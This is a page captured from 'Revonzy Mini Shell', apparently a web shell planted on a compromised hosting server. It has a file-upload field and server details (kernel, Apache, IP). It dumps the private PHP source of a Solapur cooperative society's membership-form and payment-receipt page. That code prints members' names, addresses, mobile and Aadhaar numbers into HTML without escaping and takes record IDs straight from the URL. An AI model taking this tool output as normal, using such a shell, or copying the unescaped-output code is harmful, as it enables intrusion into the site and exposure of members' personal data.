Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/vahtuksanghatana.com/vahtuk_society/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/vahtuksanghatana.com/vahtuk_society/sabhasad_form_print.php

<?php
require_once('lib/functions.php');
$db     =   new login_function();


if(isset($_SESSION['current_login_admin']))
    {
        $current_login_admin    =   $_SESSION['current_login_admin'];
    }



    if(isset($_GET['sabhasad_id']))
    {
         $sabhasad_id =   $_GET['sabhasad_id'];
         $_SESSION['sabhasad_id'] = $sabhasad_id;
    }
      else if(isset($_SESSION['sabhasad_id']))
    {

        $sabhasad_id  = $_SESSION['sabhasad_id'];
    }

     if(isset($_GET['pavati_id']))
    {
         $payment_id =   $_GET['pavati_id'];
         $_SESSION['pavati_id'] = $payment_id;
    }
      else if(isset($_SESSION['pavati_id']))
    {

        $payment_id  = $_SESSION['pavati_id'];
    }


$total_shares = 0;
$users_data = array();
$users_data = $db->get_total_shares($sabhasad_id);

if (!empty($users_data)) {
    foreach ($users_data as $record) 
    {
        $shares1 = $record[0];
        $total_shares += floatval($shares1); 
    }
}
$paid_loan=0;
$paid_loan = $db->get_paid_loan_amount($sabhasad_id,$payment_id); 


?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Print Admission Form</title>
  <link rel="stylesheet" href="D:\style.css">
  <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Yatra+One&display=swap" rel="stylesheet">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Akshar:wght@300..700&family=Hind:wght@300;400;500;600;700&display=swap" rel="stylesheet">
  <style type="text/css">
    body
    {
        font-family: Cambria;
        font-size: 19px;
    }

 input
        {
            background-color:rgba(255,255,255,0.1);
            text-transform: capitalize  ;
        }

.hind-medium {
  font-family: "Hind", sans-serif;
  font-weight: 500;
  
  margin-top:-13px;
  font-style: normal;
}
.Admission_form{
text-align:center;
color: #000000;
text-decoration: none;
text-underline-position: none;
list-style: none;
/* text-transform: uppercase; !important; */
width: 400px;
font-size: 15px;
margin-top: -18px;
}
/* .text_1{
    margin-left:10px;
} */
.strikethough {
 width:70%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
 color:#757575;
 }
 .strikethough span {
 background:#fff; 
 padding:0 20px 0px 0px;
 position: relative;
 top: 10px;
}
.strikethough_1{
    width:500%;  
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;

}
.strikethough_2{
        width:100%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
 
}
.strikethough_3{
            width:50%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;

}
.strikethough_4{
            width:70%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_5{
            width:70%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_6{
            width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_7{
            width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_8{
            width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_9{
    width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_10{
    width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_11{
            width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_12{
            width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_13{
            width:20%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;

}
.strikethough_14{
            width:100%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}

.strikethough_18{
            width:100%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}
.strikethough_19{
            width:100%; 
 text-align:left; 
 border-bottom: 1px solid #bcbcbc; 
 overflow: inherit;
 margin:0px 0 30px;
 font-size: 16px;
}

.bottom-textbox{
    
    border:none;
    margin-left:20px;
    border-bottom:1px solid black;
    outline:none;
}
.bottom-border-textbox:focus{
    border-bottom-color:blue;
}
.past_his
{

}

          .table-container {
            display: flex;
            justify-content: center;
        }

        table {
            width: 60%;
            border-collapse: collapse;
        }

        /* th, td {
            border: 1px solid #dddddd;
            text-align: left;
            padding: 8px;
        } */

        /* th {
            background-color: #f2f2f2;
        } */

        .last_tbl th  {
            border: 1px solid #000;
            text-align: left;
            padding: 8px;
            font-size: 16px;
        } 
        .last_tbl td  {
            border: 1px solid #000;
            text-align: left;
            padding: 8px;
            font-size: 16px;

        } 

        input {
            color: black;
            font-weight: 700;
            font-size: 18px;
            border: none;    
            border-bottom: 1px solid #000;  
        }
        input:focus {
            border-bottom: 1px solid #000; 
        }
       /* body {
            background-image: url('logo/logoo-back.jpg'); 
            background-size: cover;
            height: 100vh;
            background-repeat: no-repeat;
            background-position: center center;
            

        }
         @media screen {
            body {
                background-image: url('logo/logoo-back.jpg'); 
                background-size: cover;
                background-repeat: no-repeat;
                background-position: center center;
                height: 100px; 
                margin: 0;
            }
        }
*/
      @media print {
        .backimg {
            background-image: url('logo/logoo-back.png'); 
            background-size: 100% 150%;
            background-repeat: no-repeat;
            -webkit-print-color-adjust: exact; 
            print-color-adjust: exact;    
        }        
        .print_button{
            display:none;
        }
        .back{
            display:none;
        }
    }
            .receipt-container {
            width: 600px;
            margin: 20px auto;
            background: #fff;
            border: 1px solid #000;
            padding: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .header {
            text-align: center;
            margin-bottom: 20px;
        }
        .header p {
            margin: 5px 0;
        }
        .header h1 {
            font-size: 22px;
            margin: 5px 0;
        }
        .header h2 {
            font-size: 18px;
            margin: 5px 0;
        }
        .header h3 {
            font-size: 16px;
            margin: 5px 0;
        }
        .info-section {
            margin-bottom: 20px;
            font-size: 16px;
        }
        .info-section div {
            margin: 5px 0;
        }
        .info-section span {
            display: inline-block;
            width: 150px;
        }
        .table {
            width: 100%;
            border-collapse: collapse;
            margin-bottom: 20px;
        }
        .table th, .table td {
            border: 1px solid #000;
            text-align: left;
            padding: 5px;
            font-size: 14px;
        }
        .table th {
            text-align: center;
            font-weight: bold;
        }
        .footer {
            font-size: 16px;
        }
        .footer div {
            margin: 10px 0;
        }
        .footer .signature {
            text-align: right;
        }
        .print_button 
        {
                width: 150px;
                height: 40px;
                background-color: bisque;
                border: 3px solid #000;
                cursor: pointer;
                border-radius: 8px;
        }
  </style>
</head>
<body >

    <?php
        $users_data = array ();
        $users_data = $db->get_all_sabhasad_for_print($sabhasad_id);
            
            if(!empty($users_data))
            {
                $counter =0;
                foreach($users_data as $record)
                {
                  $res_id               = $users_data[$counter][0];
                  $res_name             = $users_data[$counter][1];
                  $res_address          = $users_data[$counter][2];
                  $res_dob              = $users_data[$counter][3];
                  $res_business         = $users_data[$counter][4];       
                  $res_mobile_no        = $users_data[$counter][5];
                  $res_adhaar_no        = $users_data[$counter][6];
                  $res_sanchalak_name   = $users_data[$counter][7];
                  $res_varsadar         = $users_data[$counter][8];
                  $res_nate             = $users_data[$counter][9];
                  $res_date             = $users_data[$counter][10];
                  $res_time             = $users_data[$counter][11];
                  $image                = $users_data[$counter][12];
                  $formatted_dob = date('d/m/Y', strtotime($res_dob));
        ?>      
<div style="width:1000px;  margin:auto; padding: 15px;background-color: #fff; ">
    <div style="text-align: center; margin-top: -120px">
    <div style="float:left; font-size:14px; position: relative; width: 250px; text-align: center;margin-top: 130px;position: absolute;margin-left: 60px;   ">
       Reg. No. PN/5173
    </div>
<center>
<div style="position: relative; width: 500px;">
    <div class="" style="position: relative; right:68%; top: 210px; ">
         <img src="photo\logo.png" alt="" height="130px" width="130px" style="border-radius: 150px;" >
    </div>
        <h4 style="margin-left: -550px !important; width: 1500px; margin: 0px; margin-top: 20px; font-weight: 500; font-size: 50px;font-family: Yatra One, system-ui;">वाहतुक संघटना संयुक्त महासंघ</h4>     
        <h2 style="margin: 0px;margin-left: -140px;font-weight: 110 0;margin-top: -10px;font-size: 35px;width: 300px;color: black;"><b>महाराष्ट्र राज्य</b><br></h2>  <span style="font-size:18px;margin-left:-150px;font-weight: 800;margin-top: 20px !important;">३२/१ डी, मौलाली चौक, दक्षिण सदर बझार, सोलापूर. </span>
</div>
</center>
<div style="font-size: 16px; font-weight: 600;"> <br /></div>
 <h4 style="margin: 0px; margin-top: -10px; font-weight: 1100; font-size: 40px;font-family: Yatra One, system-ui;margin-left: -170px;">* सभासद फॉर्म *</h4>   
<div style="font-weight:bold; line-height: 30px;">
        <span style="font-size:16px;margin-left: -680px;margin-top: -100px !important;">मा. अध्यक्ष</span>
     <p style="margin: 0px;font-weight: 800;margin-left: -150px;font-size: 30px !important;font-weight: 600 !important;"><b>महासंघ बिनव्याजी सोसायटी</b></p>
</div>
</div>

<div style="position: absolute; margin-top:-250px;margin-left: 800px;">
<table border="1" style="height: 80px;width: 160px;">
    <thead>
        <tr>
            <th>सभासद क्र.</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td style="text-align: center;font-weight: 800"><?php echo $res_id; ?></td>
        </tr>
    </tbody>
</table>
<br>
<div style="border:1px solid black;height: 180px;width: 160px;">
    <img src="sabhasad_images/<?php echo $image;?>" style="height: 180px;width: 160px;">
</div>
</div>
<br />
<div class="text_2" style="display:flex;">
    <div class="hind-medium"> मी खाली सही करणार </div> 
</div>
<br>
<div class="" style="display: flex; ">  
    <div class="hind-medium" >नाव : <input type="text" class="bottom-textbox" style="margin-left:20px; width:900px;" value="<?php echo $res_name; ?>"> </div>
</div>
<br>
<div class="hind-medium" >आपल्या सोसायटीचा सभासद होण्याकरिता हा अर्ज करीत आहे आपल्या सोसायटीचे नियम व पोट नियम <br><br> मी वाचले असुन ते मला मान्य आहेत. माझ्या संबंधी खालील प्रमाणे तपशीलवार माहीती देत आहेत. </div>
<br>
<div class="" style="display: flex; ">  
    <div class="hind-medium" >नाव : <input type="text" value="<?php echo $res_name; ?>" class="bottom-textbox" style="margin-left:20px; width:900px;"> </div>
</div>
<br>
<div class="" style="display: flex; ">  
    <div class="hind-medium" >पत्ता : <input type="text" value="<?php echo $res_address; ?>" class="bottom-textbox" style="margin-left:20px; width:900px;"> </div>
</div>   
<br>
<div class="text_1" style="display:flex; ">
    <div class="hind-medium">जन्म तारीख: <input type="text"  class="bottom-textbox" style="width:400px;border: none;"  value="<?php echo $formatted_dob;?>">
</div>
<div class="hind-medium" >व्यवसाय : <input type="text" value="<?php echo $res_business; ?>" class="bottom-textbox" style="margin-left:10px; width:365px;" >
</div>
</div>
<br>
<div class="text_1" style="display:flex; ">
    <div class="hind-medium" style=""> मोबाईल नं. :<input type="text" value="<?php echo $res_mobile_no; ?>" class="bottom-textbox" style="width:400px;border: none;" > 
</div>
<div class="hind-medium" >आधार कार्ड नं. :<input type="text" value="<?php echo $res_adhaar_no; ?>" class="bottom-textbox" style="width:320px;border: none;" ></div>
</div>
<br>
<div class="text_1" style="display:flex; ">
    <div class="hind-medium"> ओळख: <input type="text" value="" class="bottom-textbox" style="margin-left:10px; width:450px;" >
</div>
<div class="hind-medium">सभासद क्र. : <input type="text" value="<?php echo $res_id; ?>" class="bottom-textbox" style="margin-left:10px; width:335px;" > </div>
</div>
<br>
<div class="text_1" style="display:flex; ">
    <div class="hind-medium">(संचालकाचे नांव ) शिफारस : <input type="text" value="<?php echo $res_sanchalak_name; ?>" class="bottom-textbox" style="margin-left:10px; width:438px;" ></div>
    <div class="hind-medium" >सही : <input type="text" value="" class="bottom-textbox" style="margin-left:10px; width:253px;" ></div>
</div>
<br>
<div class="text_1" style="display:flex; ">
    <div class="hind-medium">वारसदार: <input type="text" value="<?php echo $res_varsadar; ?>" class="bottom-textbox" style="margin-left:10px; width:438px;" ></div>
    <div class="hind-medium" >नाते : <input type="text" value="<?php echo $res_nate; ?>" class="bottom-textbox" style="margin-left:10px; width:395px;" ></div>
</div>
<br>
<br>
<center><div class="hind-medium" >तरी मला आपल्या सोसायटीचा सभासद करून घ्यावे ही नम्र विनंती</div></center>
<br> 
<div class="text_1" style="display:flex; ">
    <div class="hind-medium"> <input type="text" value=""class="bottom-textbox" style="margin-left:10px; width:710px;border: none;" ></div>
    <div class="hind-medium" >सही : <input type="text" value="" class="bottom-textbox" style="margin-left:10px; width:200px;" ></div>
</div> 
<br>
<div class="text_1" style="display:flex; ">
    <div class="hind-medium">वरील अर्ज दिनांक: <input type="text" value="<?php echo date('d/m/Y');?>" class="bottom-textbox" style="margin-left:10px; width:343px;" ></div>
    <div class="hind-medium" >च्या सभेत : <input type="text" value="" class="bottom-textbox" style="margin-left:10px; width:395px;" ></div>
</div>
<br>
<div class="text_1" style="display:flex; ">
    <div class="hind-medium">ठराव क्रमांक: <input type="text" value=""class="bottom-textbox" style="margin-left:10px; width:625px;" ></div>
    <div class="hind-medium" >  ने मंजुर / नामंजुर करण्यात आला.</div>
</div>
<br>
<div class="text_1" style="display:flex; ">
<div class="hind-medium" >व अर्जदारास  <input type="text" value="<?php echo $res_id; ?>" class="bottom-textbox" style="margin-left:10px; width:100px;border: none;" ></div>
    <div class="hind-medium" >हे सभासद क्रमांक देण्यात आले.</div>
</div>
<br> 
<br> 
<br> 
<div style="width:600px;  margin:auto; padding: 5px; ">
    <p><span style="float: left;" class="hind-medium">सचिव . </span>
    <span style="float: right;margin-right:10px !important;" class="hind-medium">अध्यक्ष . </span>
    </p>
    <br>
</div>
</div>
</div>
</div>
</div>  

    <?php
                    $counter
                    ++;
                }
            }
            ?>
            <style>
        .rules-container {
            width: 800px;
            margin: 20px auto;
            background: #fff;
            line-height: 1.5;
        }
        .rules-container h1 {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            margin-left:-100px;
        }
        .rules-container ul {
            list-style: none;
            
            margin-left:-100px;
            padding: 0;
        }
        .rules-container ul li {
            margin-bottom: 10px;
            font-size: 15px;
        }
        .rules-container ul li::before {
            content: attr(data-index) " ";
            font-weight: bold;
        }
</style>
   <div class="rules-container">
        <h1>✱ नियम व अटी ✱</h1>
        <ul>
            <li data-index="1)"> वर्षातून तीन वेळा दंडास पात्र झालेल्या सभासदांना कमी
                करण्याचा हक्क महासंघास राहील.</li>
            <li data-index="2)"> सभासदांची संख्या वाढविणे अगर कमी करण्याचा अधिकार फक्त महासंघाला राहील.</li>
            <li data-index="3)"> कर्ज मागणी करताना दोन जामिनदार घ्यावे लागेल.</li>
            <li data-index="4)"> कर्जदाराकडून मासिक हप्ता न आल्यास जामिनदाराकडून वसूल करण्यात येईल.</li>
            <li data-index="5)"> मध्यंतर राजीनामा दिल्यास सभासदास त्याच्या शेअरसाठी रक्कम वर्षाखेरीस मिळेल, त्यातून स्टेशनरी खर्च वजा
                करून राहिलेली रक्कम देण्यात येईल व डिव्हिडंड मिळणार नाही.</li>
            <li data-index="6)"> दर महिन्याच्या 20 तारखेपासून 25 तारखेपर्यंत भरणा करावा लागेल. 25 तारखेनंतर पुढील प्रत्येक महिन्यास
                दंड रूपये 50 रुपये दंड पडेल.</li>
            <li data-index="7)"> सभासदांना दर महिन्याच्या 9 तारखेस कर्ज वाटप करण्यात येईल.</li>
            <li data-index="8)"> सभासदाची काही तक्रार असल्यास महासंघाला लेखी देणे त्यावर महासंघ दिलेला निर्णय अंतिम राहील.</li>
            <li data-index="9)"> पासबुक हरवल्यास दुसरे पासबुकासाठी 50 रुपये पडतील.</li>
            <li data-index="10)"> कर्ज मागणी अर्ज फी 100 रु. राहील.</li>
            <li data-index="11)"> वरील सर्व अटी मला मान्य आहेत व स्वखुशीने आपल्या
                सोसायटीचे सभासद होत आहे.</li>
        </ul>
    </div>

<br>
<?php
function numToWordsRec($number) {
    $words = array(
        0 => 'zero', 1 => 'one', 2 => 'two',
        3 => 'three', 4 => 'four', 5 => 'five',
        6 => 'six', 7 => 'seven', 8 => 'eight',
        9 => 'nine', 10 => 'ten', 11 => 'eleven',
        12 => 'twelve', 13 => 'thirteen', 
        14 => 'fourteen', 15 => 'fifteen',
        16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen',
        19 => 'nineteen', 20 => 'twenty', 30 => 'thirty',
        40 => 'forty', 50 => 'fifty', 60 => 'sixty',
        70 => 'seventy', 80 => 'eighty',
        90 => 'ninety'
    );

    if ($number < 20) {
        return $words[$number];
    }

    if ($number < 100) {
        return $words[10 * floor($number / 10)] .
               ' ' . $words[$number % 10];
    }

    if ($number < 1000) {
        return $words[floor($number / 100)] . ' hundred ' 
               . numToWordsRec($number % 100);
    }

    if ($number < 1000000) {
        return numToWordsRec(floor($number / 1000)) .
               ' thousand ' . numToWordsRec($number % 1000);
    }

    return numToWordsRec(floor($number / 1000000)) .
           ' million ' . numToWordsRec($number % 1000000);
}


$users_data1 = array();
$users_data1 = $db->get_payment_details_for_pavati($payment_id,$sabhasad_id);

if (!empty($users_data1)) {
    $counter = 0;
    $counter1 = 1;
    foreach ($users_data1 as $record) 
    {
        $res_id = $users_data1[$counter][0];
        $sabhasad_id = $users_data1[$counter][1];
        $payment_date = $users_data1[$counter][2];
        $accont_number = $users_data1[$counter][3];
        $parvesh_fee = $users_data1[$counter][4];
        $service_charge = $users_data1[$counter][5];
        $shares = $users_data1[$counter][6];
        $karj_hapta = $users_data1[$counter][7];
        $farm_fee = $users_data1[$counter][8];
        $vilamb_akar = $users_data1[$counter][9];
        $res_date = $users_data1[$counter][10];
        $res_time = $users_data1[$counter][11];
        $other1 = $users_data1[$counter][12];
        $other_desc = $users_data1[$counter][13];
        
        $formatted_payment = date('d/m/Y', strtotime($payment_date));


        $name = $db->get_name_by_id($sabhasad_id);

        $total_amount = floatval($parvesh_fee) + floatval($service_charge) + floatval($shares) + floatval($karj_hapta) + floatval($farm_fee) + floatval($vilamb_akar)+ floatval($other1);
       
        $total_amount_in_words = numToWordsRec($total_amount); 
?>

<div class="receipt-container">
    <div class="header">
        <p style="float:left;"><strong>Reg. No. PN/5173</strong></p>
        <p style="float:right;font-weight: 19px"><strong>पावती नं. <?php echo $res_id; ?></strong></p><br>
            
         <h4 style="margin-left: -420px !important; width: 1500px; margin: 0px; margin-top: 20px; font-weight: 800; font-size: 34px;font-family: Yatra One, system-ui;">वाहतुक संघटना संयुक्त महासंघ<span style="font-size:20px"> महाराष्ट्र राज्य</span></h4>  
          <h2>महासंघ बिनव्याजी सोसायटी</h2>
        <p>३२/९ डी, मौलाली चौक, दक्षिण सदर बाजार, सोलापूर.</p>
    </div>
     <hr>

    <div class="info-section">
        <div><span>नाव:</span><span style="margin-left:-110px"> <?php echo $name; ?> </span></div>        
        <div style="display: flex;">   
            <div style="margin-left: 0px;"><span >दिनांक:</span> <span style="margin-left:-96px"><?php echo $formatted_payment; ?></span></div>     
            <div style="margin-left: 50px;"><span>खाते नं.:</span> <span style="border:1px solid black;margin-left: -100px;height:20px;border-radius: 4px;text-align:center;font-weight: 800"><?php echo $accont_number; ?></span></div> 
        </div>
    </div>
    <table class="table">
        <thead>
            <tr>
                <th>नं.</th>
                <th>तपशील</th>
                <th>रुपये</th>
            </tr>
        </thead>
        <tbody>
            <?php if ($parvesh_fee >= 0): ?>
            <tr>
                <td  style=" text-align: center;"><?php echo $counter1 ++; ?></td> 
                <td>प्रवेश फी</td>
                <td style=" text-align: center;"><?php echo $parvesh_fee; ?></td>
            </tr>
            <?php endif; ?>
            
            <?php if ($service_charge >= 0): ?>
            <tr>
                <td  style=" text-align: center;"><?php echo $counter1 ++; ?></td> 
                <td>सर्व्हिस चार्ज</td>
                <td style=" text-align: center;"><?php echo $service_charge; ?></td> 
            </tr>
            <?php endif; ?>
            
            <?php if ($shares >= 0): ?>
            <tr>
                <td  style=" text-align: center;"><?php echo $counter1 ++; ?></td> 
                <td>शेअर्स</td>
                <td style=" text-align: center;"><?php echo $shares; ?></td> 
            </tr>
            <?php endif; ?>
            
            <?php if ($karj_hapta >= 0): ?>
            <tr>
                 <td  style=" text-align: center;"><?php echo $counter1 ++; ?></td> 
                <td>कर्ज हप्ता</td>
                <td style=" text-align: center;"><?php echo $karj_hapta; ?></td> 
            </tr>
            <?php endif; ?>
            
            <?php if ($farm_fee >= 0): ?>
            <tr>
                 <td  style=" text-align: center;"><?php echo $counter1 ++; ?></td> 
                <td>फार्म फी</td>
                <td style=" text-align: center;"><?php echo $farm_fee; ?></td> 
            </tr>
            <?php endif; ?>
            
            <?php if ($vilamb_akar >= 0): ?>
            <tr>
                 <td  style=" text-align: center;"><?php echo $counter1 ++; ?></td> 
                <td>विलंब आकार</td>
                <td style=" text-align: center;"><?php echo $vilamb_akar; ?></td> 
            </tr>
            <?php endif; ?>
            
            <?php if ($other1 >= 0): ?>
            <tr>
                <td  style=" text-align: center;"><?php echo $counter1 ++; ?></td> 
                <td>इतर - (<?php echo $other_desc; ?>)</td>
                <td style=" text-align: center;"><?php echo $other1; ?></td>
            </tr>
            <?php endif; ?>

            <tr>
                <td></td>
                <td style="font-weight: 800;font-size: 16px;">एकूण</td>
                <td style="font-weight: 800;font-size: 16px;text-align: center;"><?php echo $total_amount; ?></td>
            </tr>
        </tbody>
    </table>

    <div class="footer">
        <div>येणे बाकी : <?php echo $paid_loan; ?></div>
        <div>एकूण शेअर्स: <?php echo $total_shares; ?></div>
        <div>अक्षरी रुपये: <?php echo $total_amount_in_words; ?> रुपये रोक मिळाले.</div>
        <div class="signature">खजिनदार / सचिव</div>
    </div>
</div>
<?php
        $counter++;
    }
}
?>
<center><button class="print_button" onclick="printReceipt()">Print Receipt</button></center>
<br>
<center><a href="add_sabasad.php" class="back" style="color:orangered;font-size:18px;font-weight:800;text-decoration:underline;">Back To Home</a></center>
<br><br><br><br>
<script>
function printReceipt() 
{
  document.querySelector('button').style.display = 'none';
  window.print();
}

window.onafterprint = function() 
{
  location.reload();
};
</script>

</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4